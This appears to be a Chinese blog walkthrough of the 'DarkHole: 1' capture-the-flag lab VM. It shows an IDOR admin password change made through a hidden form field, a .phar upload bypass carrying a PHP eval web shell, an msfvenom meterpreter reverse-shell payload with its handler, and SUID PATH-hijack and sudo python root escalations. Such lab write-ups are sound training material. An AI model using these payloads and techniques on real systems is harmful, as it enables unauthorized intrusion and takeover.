DARKHOLE: 1

虚拟机下载链接:

darkhole

介绍


Difficulty: Easy

It's a box for beginners, but not easy, Good Luck

Hint: Don't waste your time For Brute-Force


先通过nmap扫描虚拟机ip

确定目标靶机IP地址为192.168.211.141

使用nmap扫描这个ip

 

 Apache Web 服务和 OpenSSH 服务。

打开网站查看

默认页面除了登录链接外没有太多内容。

 先创建一个账户

登录

可以发现我的账号的id=2,说明前面还有一个id=1的账号。

查看代码,修改密码部分的代码为

<main class="content">
        <div class="main-header">
                        <div class="main-title">
                <h1>Password:</h1>
            </div>
            <div class="main-form">
                <form name="event" method="post">
                    <input type="password" name="password" id="ftitle" placeholder="New Password">
                    <input type="hidden" name="id" value="2">
                    <input type="submit" id="fsubmit" value="Change" class="button">
                </form>
            </div>
        </div>
    </main>

有一个隐藏的输入“id”。因此,如果我们传递用户 ID 1,它可能会更改管理员的密码。

尝试使用 Burp suite 工具来修改请求。

Burp suite修改密码

将id修改为1再发送,尝试使用用户名“admin”和新密码登录。成功登录进入admin

 它有一个上传文件的功能,当我尝试上传 PHP shell 时,它给了我一个错误。但是,我将文件名更改为“.phar”并且它起作用了。

尝试使用蚁剑连接

1.phar的内容为

<?php @eval($_POST[ch4nge]);?>

提权

建立反弹后门

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.211.133 LPORT=4444 R > test3.php

启动msfconsole

msfconsole
use exploit/multi/handler
show options
set lhost 192.168.211.133
set lport 4444
set payload php/meterpreter/reverse_tcp

 蚁剑上传test3.php文件,访问

http://192.168.211.141/upload/test3.php

进入shell,并生成一个交互式shell:

python -c 'import pty; pty.spawn("/bin/bash")'

报错


python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 5: python: not found
 


python3 -c 'import pty; pty.spawn("/bin/bash")'

获得交互式shell

当我们检查主目录时,我们看到两个用户,john 和 darkhole。

查看john文件夹下的文件


www-data@darkhole:/home/john$ ls -al
ls -al
total 72
drwxrwxrwx 5 john john      4096 Jul 17  2021 .
drwxr-xr-x 4 root root      4096 Jul 16  2021 ..
-rw------- 1 john john      1722 Jul 17  2021 .bash_history
-rw-r--r-- 1 john john       220 Jul 16  2021 .bash_logout
-rw-r--r-- 1 john john      3771 Jul 16  2021 .bashrc
drwx------ 2 john john      4096 Jul 17  2021 .cache
drwxrwxr-x 3 john john      4096 Jul 17  2021 .local
-rw------- 1 john john        37 Jul 17  2021 .mysql_history
-rw-r--r-- 1 john john       807 Jul 16  2021 .profile
drwxrwx--- 2 john www-data  4096 Jul 17  2021 .ssh
-rwxrwx--- 1 john john         1 Jul 17  2021 file.py
-rwxrwx--- 1 john john         8 Jul 17  2021 password
-rwsr-xr-x 1 root root     16784 Jul 17  2021 toto
-rw-rw---- 1 john john        24 Jul 17  2021 user.txt


我们有一个密码文件,它为我们提供了用户 john 的密码,但是没有权限。


www-data@darkhole:/home/john$ cat password
cat password
cat: password: Permission denied


还有一个 SUID 二进制文件toto。

此二进制文件是二进制文件“id”的副本,但不同之处在于它以用户“john”身份执行。


./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)


因此,我们可以尝试利用此功能。我们可以创建一个同名的自定义二进制文件,而不是执行“id”。

echo 'bash' > /tmp/id; chmod +x /tmp/id; export PATH=/tmp:$PATH

然后,我再次执行了二进制文件。


www-data@darkhole:/home/john$ ./toto
./toto
john@darkhole:/home/john$ 


重新查看password


john@darkhole:/home/john$ cat password
cat password
root123


 得到了john的用户密码,可以获得root权限

查看darkhole文件夹


www-data@darkhole:/home/darkhole$ ls -al
ls -al
total 32
drwxr-xr-x 4 darkhole darkhole 4096 Jul 17  2021 .
drwxr-xr-x 4 root     root     4096 Jul 16  2021 ..
-rw------- 1 darkhole darkhole  189 Jul 17  2021 .bash_history
-rw-r--r-- 1 darkhole darkhole  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 darkhole darkhole 3771 Feb 25  2020 .bashrc
drwx------ 2 darkhole darkhole 4096 Jul 15  2021 .cache
drwxrwxr-x 3 darkhole darkhole 4096 Jul 17  2021 .local
-rw-r--r-- 1 darkhole darkhole  807 Feb 25  2020 .profile
-rw-r--r-- 1 darkhole darkhole    0 Jul 15  2021 .sudo_as_admin_successful

 


获得root权限

查看john的权限:


john@darkhole:/home/john$ sudo -l
sudo -l
[sudo] password for john: root123

Matching Defaults entries for john on darkhole:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on darkhole:
    (root) /usr/bin/python3 /home/john/file.py

 


在file.py里面写一段打开shell的代码,再以root的身份执行:

echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py

完成

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

在下跳跳

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值